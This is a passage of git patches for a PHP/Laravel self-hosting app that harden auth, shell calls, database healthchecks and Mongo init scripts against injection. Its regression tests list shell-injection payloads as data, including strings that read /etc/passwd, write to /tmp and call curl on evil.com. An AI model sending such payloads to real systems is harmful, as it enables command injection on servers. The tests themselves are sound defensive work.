9ffba6a30..054606a25 100644 --- a/tests/Unit/S3StorageEndpointValidationTest.php +++ b/tests/Unit/S3StorageEndpointValidationTest.php @@ -8,14 +8,14 @@ uses(TestCase::class); /** - * Regression tests for GHSA-pwm4-w33c-wjf3 — SSRF via S3 Storage endpoint. + * Regression tests for SSRF via S3 Storage endpoint. * * The Livewire forms (Create.php, Form.php) and the model-level defense in * S3Storage::testConnection() share the same SafeWebhookUrl rule. These tests - * assert the rule rejects the concrete payloads from the advisory PoC and - * that the model refuses to build an S3 client for an unsafe endpoint. + * assert the rule rejects the concrete payloads and that the model refuses to + * build an S3 client for an unsafe endpoint. */ -it('rejects SSRF payloads from the GHSA-pwm4-w33c-wjf3 advisory', function (string $endpoint) { +it('rejects SSRF payloads on the S3 endpoint', function (string $endpoint) { $validator = Validator::make( ['endpoint' => $endpoint], ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]], From 9b37a1a7eb98a9c7ee88d565f01a4ff50d529425 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 12:08:46 +0200 Subject: [PATCH 051/329] refactor(auth): drop implicit email verification on invitation link login The invitation-link login path previously marked the account as email-verified as a side effect of authenticating, without the user ever proving control of the mailbox. Remove that branch so every account goes through the standard signed-URL verification flow. Co-Authored-By: Claude Opus 4.7 --- app/Http/Controllers/Controller.php | 4 -- .../LinkLoginEmailVerificationTest.php | 60 +++++++++++++++++++ 2 files changed, 60 insertions(+), 4 deletions(-) create mode 100644 tests/Feature/LinkLoginEmailVerificationTest.php diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php index 17d14296b..a6b7f6440 100644 --- a/app/Http/Controllers/Controller.php +++ b/app/Http/Controllers/Controller.php @@ -94,10 +94,6 @@ public function link() } else { $team = $user->teams()->first(); } - if (is_null(data_get($user, 'email_verified_at'))) { - $user->email_verified_at = now(); - $user->save(); - } Auth::login($user); session(['currentTeam' => $team]); diff --git a/tests/Feature/LinkLoginEmailVerificationTest.php b/tests/Feature/LinkLoginEmailVerificationTest.php new file mode 100644 index 000000000..036584e1e --- /dev/null +++ b/tests/Feature/LinkLoginEmailVerificationTest.php @@ -0,0 +1,60 @@ +withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); + Once::flush(); + if (! InstanceSettings::find(0)) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->saveQuietly(); + } +}); + +describe('invitation link login', function () { + test('does not auto-verify the email address', function () { + $team = Team::factory()->create(); + $password = 'test-password-123'; + $user = User::factory()->create([ + 'email' => 'invitee@example.com', + 'password' => Hash::make($password), + 'email_verified_at' => null, + ]); + $user->teams()->attach($team->id, ['role' => 'member']); + + $token = Crypt::encryptString("{$user->email}@@@{$password}"); + + $this->get(route('auth.link', ['token' => $token])); + + $user->refresh(); + expect($user->email_verified_at)->toBeNull(); + }); + + test('still logs the user in', function () { + $team = Team::factory()->create(); + $password = 'test-password-123'; + $user = User::factory()->create([ + 'email' => 'invitee2@example.com', + 'password' => Hash::make($password), + 'email_verified_at' => null, + ]); + $user->teams()->attach($team->id, ['role' => 'member']); + + $token = Crypt::encryptString("{$user->email}@@@{$password}"); + + $this->get(route('auth.link', ['token' => $token])); + + expect(auth()->id())->toBe($user->id); + }); +}); From 49b5472961dcd8d698d802c14a73671e8b44ad39 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 12:09:17 +0200 Subject: [PATCH 052/329] refactor(auth): upgrade email verification hash to sha256 Move the email-verification URL hash from sha1 to sha256 and verify it directly in the controller using hash_equals, instead of going through Laravel's EmailVerificationRequest (which only compares against sha1). The signed URL still carries the authoritative HMAC; the hash upgrade keeps the identity binding aligned with modern hashing guidance. Co-Authored-By: Claude Opus 4.7 --- app/Http/Controllers/Controller.php | 26 +++++++- app/Models/User.php | 2 +- tests/Feature/EmailVerificationHashTest.php | 73 +++++++++++++++++++++ 3 files changed, 97 insertions(+), 4 deletions(-) create mode 100644 tests/Feature/EmailVerificationHashTest.php diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php index a6b7f6440..6ce6b6d57 100644 --- a/app/Http/Controllers/Controller.php +++ b/app/Http/Controllers/Controller.php @@ -6,8 +6,8 @@ use App\Models\TeamInvitation; use App\Models\User; use App\Providers\RouteServiceProvider; +use Illuminate\Auth\Events\Verified; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; -use Illuminate\Foundation\Auth\EmailVerificationRequest; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Http\Request; use Illuminate\Routing\Controller as BaseController; @@ -39,9 +39,29 @@ public function verify() return view('auth.verify-email'); } - public function email_verify(EmailVerificationRequest $request) + public function email_verify(Request $request) { - $request->fulfill(); + if (! $request->hasValidSignature()) { + abort(403); + } + + $user = auth()->user(); + if (! $user) { + abort(403); + } + + if (! hash_equals((string) $request->route('id'), (string) $user->getKey())) { + abort(403); + } + + if (! hash_equals((string) $request->route('hash'), hash('sha256', $user->getEmailForVerification()))) { + abort(403); + } + + if (! $user->hasVerifiedEmail()) { + $user->markEmailAsVerified(); + event(new Verified($user)); + } return redirect(RouteServiceProvider::HOME); } diff --git a/app/Models/User.php b/app/Models/User.php index 3199d2024..237f3836f 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -257,7 +257,7 @@ public function sendVerificationEmail() Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)), [ 'id' => $this->getKey(), - 'hash' => sha1($this->getEmailForVerification()), + 'hash' => hash('sha256', $this->getEmailForVerification()), ] ); $mail->view('emails.email-verification', [ diff --git a/tests/Feature/EmailVerificationHashTest.php b/tests/Feature/EmailVerificationHashTest.php new file mode 100644 index 000000000..5d42c4e44 --- /dev/null +++ b/tests/Feature/EmailVerificationHashTest.php @@ -0,0 +1,73 @@ +withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); + Once::flush(); + if (! InstanceSettings::find(0)) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->saveQuietly(); + } +}); + +describe('email verification hash', function () { + test('sha256 hash is accepted and marks the user verified', function () { + $user = User::factory()->create([ + 'email' => 'verify-me@example.com', + 'email_verified_at' => null, + ]); + + $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [ + 'id' => $user->getKey(), + 'hash' => hash('sha256', $user->getEmailForVerification()), + ]); + + $this->actingAs($user)->get($url)->assertRedirect(); + + $user->refresh(); + expect($user->email_verified_at)->not->toBeNull(); + }); + + test('legacy sha1 hash is rejected', function () { + $user = User::factory()->create([ + 'email' => 'legacy-sha1@example.com', + 'email_verified_at' => null, + ]); + + $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [ + 'id' => $user->getKey(), + 'hash' => sha1($user->getEmailForVerification()), + ]); + + $this->actingAs($user)->get($url)->assertStatus(403); + + $user->refresh(); + expect($user->email_verified_at)->toBeNull(); + }); + + test('tampered signature is rejected', function () { + $user = User::factory()->create([ + 'email' => 'tampered@example.com', + 'email_verified_at' => null, + ]); + + $url = URL::temporarySignedRoute('verify.verify', now()->addHour(), [ + 'id' => $user->getKey(), + 'hash' => hash('sha256', $user->getEmailForVerification()), + ]); + + $tampered = $url.'x'; + + $this->actingAs($user)->get($tampered)->assertStatus(403); + }); +}); From bb0c3501efedac884e1f9b8621406fa31ce98af7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 12:09:30 +0200 Subject: [PATCH 053/329] refactor(cli): validate --date and escape shell args on logs:scheduled Reject malformed --date values with a clear error before building any shell command, and wrap every interpolated value (log paths, filter expression, line count) in escapeshellarg() so filter options and date values can no longer break out of the tail/grep pipeline. Co-Authored-By: Claude Opus 4.7 --- app/Console/Commands/ViewScheduledLogs.php | 30 ++++++++++------ .../Feature/ScheduledLogsCommandInputTest.php | 35 +++++++++++++++++++ 2 files changed, 55 insertions(+), 10 deletions(-) create mode 100644 tests/Feature/ScheduledLogsCommandInputTest.php diff --git a/app/Console/Commands/ViewScheduledLogs.php b/app/Console/Commands/ViewScheduledLogs.php index 9ecf90716..b6e9a6121 100644 --- a/app/Console/Commands/ViewScheduledLogs.php +++ b/app/Console/Commands/ViewScheduledLogs.php @@ -28,6 +28,11 @@ class ViewScheduledLogs extends Command public function handle() { $date = $this->option('date') ?: now()->format('Y-m-d'); + if (! preg_match('/^\d{4}-\d{2}-\d{2}$/', $date)) { + $this->error('Invalid date format. Use Y-m-d (e.g. 2025-01-31).'); + + return self::INVALID; + } $logPaths = $this->getLogPaths($date); if (empty($logPaths)) { @@ -49,17 +54,19 @@ public function handle() $this->line(''); if (count($logPaths) === 1) { - $logPath = $logPaths[0]; + $logPath = escapeshellarg($logPaths[0]); if ($filters) { - passthru("tail -f {$logPath} | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -f {$logPath} | grep -E {$escapedFilters}"); } else { passthru("tail -f {$logPath}"); } } else { // Multiple files - use multitail or tail with process substitution - $logPathsStr = implode(' ', $logPaths); + $logPathsStr = implode(' ', array_map('escapeshellarg', $logPaths)); if ($filters) { - passthru("tail -f {$logPathsStr} | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -f {$logPathsStr} | grep -E {$escapedFilters}"); } else { passthru("tail -f {$logPathsStr}"); } @@ -68,20 +75,23 @@ public function handle() $this->info("Showing last {$lines} lines of {$logTypeDescription} logs for {$date}{$filterDescription}:"); $this->line(''); + $escapedLines = escapeshellarg((string) $lines); if (count($logPaths) === 1) { - $logPath = $logPaths[0]; + $logPath = escapeshellarg($logPaths[0]); if ($filters) { - passthru("tail -n {$lines} {$logPath} | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -n {$escapedLines} {$logPath} | grep -E {$escapedFilters}"); } else { - passthru("tail -n {$lines} {$logPath}"); + passthru("tail -n {$escapedLines} {$logPath}"); } } else { // Multiple files - concatenate and sort by timestamp - $logPathsStr = implode(' ', $logPaths); + $logPathsStr = implode(' ', array_map('escapeshellarg', $logPaths)); if ($filters) { - passthru("tail -n {$lines} {$logPathsStr} | sort | grep -E '{$filters}'"); + $escapedFilters = escapeshellarg($filters); + passthru("tail -n {$escapedLines} {$logPathsStr} | sort | grep -E {$escapedFilters}"); } else { - passthru("tail -n {$lines} {$logPathsStr} | sort"); + passthru("tail -n {$escapedLines} {$logPathsStr} | sort"); } } } diff --git a/tests/Feature/ScheduledLogsCommandInputTest.php b/tests/Feature/ScheduledLogsCommandInputTest.php new file mode 100644 index 000000000..83f313d80 --- /dev/null +++ b/tests/Feature/ScheduledLogsCommandInputTest.php @@ -0,0 +1,35 @@ +withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); + Once::flush(); + if (! InstanceSettings::find(0)) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->saveQuietly(); + } +}); + +describe('logs:scheduled --date option', function () { + test('rejects a malformed date and exits before touching the shell', function () { + $this->artisan('logs:scheduled', ['--date' => '2025-01-01; touch /tmp/pwn']) + ->expectsOutputToContain('Invalid date format') + ->assertExitCode(ViewScheduledLogs::INVALID); + + expect(file_exists('/tmp/pwn'))->toBeFalse(); + }); + + test('accepts a well-formed date', function () { + $this->artisan('logs:scheduled', ['--date' => '2025-01-01']) + ->assertExitCode(0); + }); +}); From 03bf3d53536194c188d2ed708334403ddb85b5d9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 13:11:28 +0200 Subject: [PATCH 054/329] fix(database): use && instead of || for conf null/empty checks MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `||` caused config volumes to mount even when conf was null, since `!is_null(null)` is false but `!empty(null)` is true — condition always evaluated to true. --- app/Actions/Database/StartKeydb.php | 2 +- app/Actions/Database/StartMariadb.php | 2 +- app/Actions/Database/StartMysql.php | 2 +- app/Actions/Database/StartRedis.php | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index fe80a7d54..ec09b7392 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -166,7 +166,7 @@ public function handle(StandaloneKeydb $database) $docker_compose['volumes'] = $volume_names; } - if (! is_null($this->database->keydb_conf) || ! empty($this->database->keydb_conf)) { + if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) { $docker_compose['services'][$container_name]['volumes'] = array_merge( $docker_compose['services'][$container_name]['volumes'] ?? [], [ diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php index 498ba0b0b..ceb1e8b85 100644 --- a/app/Actions/Database/StartMariadb.php +++ b/app/Actions/Database/StartMariadb.php @@ -175,7 +175,7 @@ public function handle(StandaloneMariadb $database) ); } - if (! is_null($this->database->mariadb_conf) || ! empty($this->database->mariadb_conf)) { + if (! is_null($this->database->mariadb_conf) && ! empty($this->database->mariadb_conf)) { $docker_compose['services'][$container_name]['volumes'] = array_merge( $docker_compose['services'][$container_name]['volumes'], [ diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php index 337516405..1b2b338d3 100644 --- a/app/Actions/Database/StartMysql.php +++ b/app/Actions/Database/StartMysql.php @@ -175,7 +175,7 @@ public function handle(StandaloneMysql $database) ); } - if (! is_null($this->database->mysql_conf) || ! empty($this->database->mysql_conf)) { + if (! is_null($this->database->mysql_conf) && ! empty($this->database->mysql_conf)) { $docker_compose['services'][$container_name]['volumes'] = array_merge( $docker_compose['services'][$container_name]['volumes'] ?? [], [ diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index 70df91054..c31b099e4 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -181,7 +181,7 @@ public function handle(StandaloneRedis $database) ); } - if (! is_null($this->database->redis_conf) || ! empty($this->database->redis_conf)) { + if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) { $docker_compose['services'][$container_name]['volumes'][] = [ 'type' => 'bind', 'source' => $this->configuration_dir.'/redis.conf', From 64753b41364010f5e8d539194a567feea1d1d520 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 13:06:55 +0200 Subject: [PATCH 055/329] fix(database): prevent command injection in healthcheck via CMD exec-form MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace CMD-SHELL string interpolation with CMD exec-form arrays in healthcheck configs for PostgreSQL, Dragonfly, KeyDB, and ClickHouse. CMD-SHELL passes the string to /bin/sh -c, allowing command injection through user-controlled fields (username, password, dbname). CMD exec-form bypasses the shell entirely — each value is a discrete argv element. Fixes GHSA-gvc4-f276-r88p. Adds regression tests covering semicolon, pipe, backtick, $(), background operator, redirect, newline, and null-byte injection vectors. --- app/Actions/Database/StartClickhouse.php | 2 +- app/Actions/Database/StartDragonfly.php | 2 +- app/Actions/Database/StartKeydb.php | 2 +- app/Actions/Database/StartPostgresql.php | 5 +- ...atabaseHealthcheckCommandInjectionTest.php | 107 ++++++++++++++++++ 5 files changed, 111 insertions(+), 7 deletions(-) create mode 100644 tests/Unit/DatabaseHealthcheckCommandInjectionTest.php diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php index 393906b9b..30cae71f1 100644 --- a/app/Actions/Database/StartClickhouse.php +++ b/app/Actions/Database/StartClickhouse.php @@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'", + 'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php index cd820523d..addc30be4 100644 --- a/app/Actions/Database/StartDragonfly.php +++ b/app/Actions/Database/StartDragonfly.php @@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "redis-cli -a {$this->database->dragonfly_password} ping", + 'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index ec09b7392..e59d6f697 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => "keydb-cli --pass {$this->database->keydb_password} ping", + 'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index 41e39c811..81cffeb94 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database) ], 'labels' => defaultDatabaseLabels($this->database)->toArray(), 'healthcheck' => [ - 'test' => [ - 'CMD-SHELL', - "psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1", - ], + 'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'], 'interval' => '5s', 'timeout' => '5s', 'retries' => 10, diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php new file mode 100644 index 000000000..b8c2b8a5d --- /dev/null +++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php @@ -0,0 +1,107 @@ + ['admin; id > /tmp/pwned; echo'], + 'command substitution $()' => ['admin$(id > /tmp/pwned)'], + 'backtick substitution' => ['admin`id > /tmp/pwned`'], + 'pipe operator' => ['admin | cat /etc/passwd'], + 'background operator' => ['admin & curl http://evil.com'], + 'output redirect' => ['admin > /tmp/evil.txt'], + 'newline injection' => ["admin\nid"], + 'null byte' => ["admin\0id"], +]); + +// ─── PostgreSQL ────────────────────────────────────────────────────────────── + +test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'psql'"); +}); + +test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + // Simulate what StartPostgresql now generates + $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck[0])->not->toBe('CMD-SHELL'); + // Malicious value is isolated as a single argv element — no shell interprets it + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── KeyDB ──────────────────────────────────────────────────────────────────── + +test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'keydb-cli'"); +}); + +test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── Dragonfly ──────────────────────────────────────────────────────────────── + +test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'redis-cli'"); +}); + +test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── ClickHouse ─────────────────────────────────────────────────────────────── + +test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'clickhouse-client'"); +}); + +test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── Verify unaffected databases still use their safe patterns ──────────────── + +test('mysql healthcheck already uses CMD exec-form (no regression)', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php'); + + // MySQL already used CMD array form — ensure it stays that way + expect($source)->toContain("'CMD', 'mysqladmin'"); +}); + +test('mariadb healthcheck uses safe fixed script (no regression)', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php'); + + expect($source)->toContain('healthcheck.sh'); + // Must not have gained any user-field interpolation + expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i'); +}); From 1002d211d082e21ec5b64dcb529548a09203ca94 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 13:08:56 +0200 Subject: [PATCH 056/329] style(database): wrap public port inputs in flex-col gap-2 container Add wrapper div around publicPort and publicPortTimeout inputs across all database general settings views for consistent vertical spacing. --- .../database/clickhouse/general.blade.php | 4 ++-- .../database/dragonfly/general.blade.php | 17 +++++++++-------- .../project/database/keydb/general.blade.php | 11 ++++++----- .../project/database/mariadb/general.blade.php | 2 ++ .../project/database/mongodb/general.blade.php | 2 ++ .../project/database/mysql/general.blade.php | 2 ++ .../database/postgresql/general.blade.php | 10 ++++++---- .../project/database/redis/general.blade.php | 10 ++++++---- 8 files changed, 35 insertions(+), 23 deletions(-) diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index 23286271a..9283172ad 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -54,7 +54,6 @@ readonly value="Starting the database will generate this." canGate="update" :canResource="$database" /> @endif
-
@@ -76,11 +75,12 @@
+
-
+

Advanced

diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index 856fb8d93..ce46e47dd 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -113,14 +113,15 @@
- - -
- -

Advanced

-
+
+ + +
+ +

Advanced

+
diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 2310242c9..ee3f8fd0c 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -113,14 +113,15 @@
- - -
+
+ + +

Advanced

diff --git a/resources/views/livewire/project/database/mariadb/general.blade.php b/resources/views/livewire/project/database/mariadb/general.blade.php index e3dc39dcf..1154124d1 100644 --- a/resources/views/livewire/project/database/mariadb/general.blade.php +++ b/resources/views/livewire/project/database/mariadb/general.blade.php @@ -137,10 +137,12 @@
+
+
diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index 13a82d350..e9e5d621d 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -151,10 +151,12 @@
+
+
diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index eec9fe1ac..bb3916ec8 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -153,10 +153,12 @@
+
+

Advanced

diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index e8536e735..9c956f5b3 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -163,10 +163,12 @@
- - +
+ + +
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 485c69125..73ee5f0e5 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -132,10 +132,12 @@
- - +
+ + +
database->mongo_initdb_database}\");db.createCollection('init_collection');db.createUser({user: \"{$this->database->mongo_initdb_root_username}\", pwd: \"{$this->database->mongo_initdb_root_password}\",roles: [{role:\"readWrite\",db:\"{$this->database->mongo_initdb_database}\"}]});"; + $dbJson = json_encode($this->database->mongo_initdb_database, JSON_UNESCAPED_SLASHES); + $userJson = json_encode($this->database->mongo_initdb_root_username, JSON_UNESCAPED_SLASHES); + $pwdJson = json_encode($this->database->mongo_initdb_root_password, JSON_UNESCAPED_SLASHES); + $content = "db = db.getSiblingDB({$dbJson});db.createCollection('init_collection');db.createUser({user: {$userJson}, pwd: {$pwdJson}, roles: [{role:\"readWrite\",db:{$dbJson}}]});"; $content_base64 = base64_encode($content); $this->commands[] = "mkdir -p $this->configuration_dir/docker-entrypoint-initdb.d"; $this->commands[] = "echo '{$content_base64}' | base64 -d | tee $this->configuration_dir/docker-entrypoint-initdb.d/01-default-database.js > /dev/null"; diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php index 1b2b338d3..0394d50b6 100644 --- a/app/Actions/Database/StartMysql.php +++ b/app/Actions/Database/StartMysql.php @@ -215,7 +215,8 @@ public function handle(StandaloneMysql $database) $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; if ($this->database->enable_ssl) { - $this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->mysql_user}:{$this->database->mysql_user} /etc/mysql/certs/server.crt /etc/mysql/certs/server.key"); + $mysqlUser = escapeshellarg($this->database->mysql_user); + $this->commands[] = executeInDocker($this->database->uuid, "chown {$mysqlUser}:{$mysqlUser} /etc/mysql/certs/server.crt /etc/mysql/certs/server.key"); } $this->commands[] = "echo 'Database started.'"; diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 6749d224b..c05af152f 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -379,9 +379,9 @@ public function update_by_uuid(Request $request) case 'standalone-postgresql': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ - 'postgres_user' => 'string', - 'postgres_password' => 'string', - 'postgres_db' => 'string', + 'postgres_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'postgres_password' => ValidationPatterns::databasePasswordRules(required: false), + 'postgres_db' => ValidationPatterns::databaseIdentifierRules(required: false), 'postgres_initdb_args' => 'string', 'postgres_host_auth_method' => 'string', 'postgres_conf' => 'string', @@ -410,20 +410,20 @@ public function update_by_uuid(Request $request) case 'standalone-clickhouse': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ - 'clickhouse_admin_user' => 'string', - 'clickhouse_admin_password' => 'string', + 'clickhouse_admin_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'clickhouse_admin_password' => ValidationPatterns::databasePasswordRules(required: false), ]); break; case 'standalone-dragonfly': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ - 'dragonfly_password' => 'string', + 'dragonfly_password' => ValidationPatterns::databasePasswordRules(required: false), ]); break; case 'standalone-redis': $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = 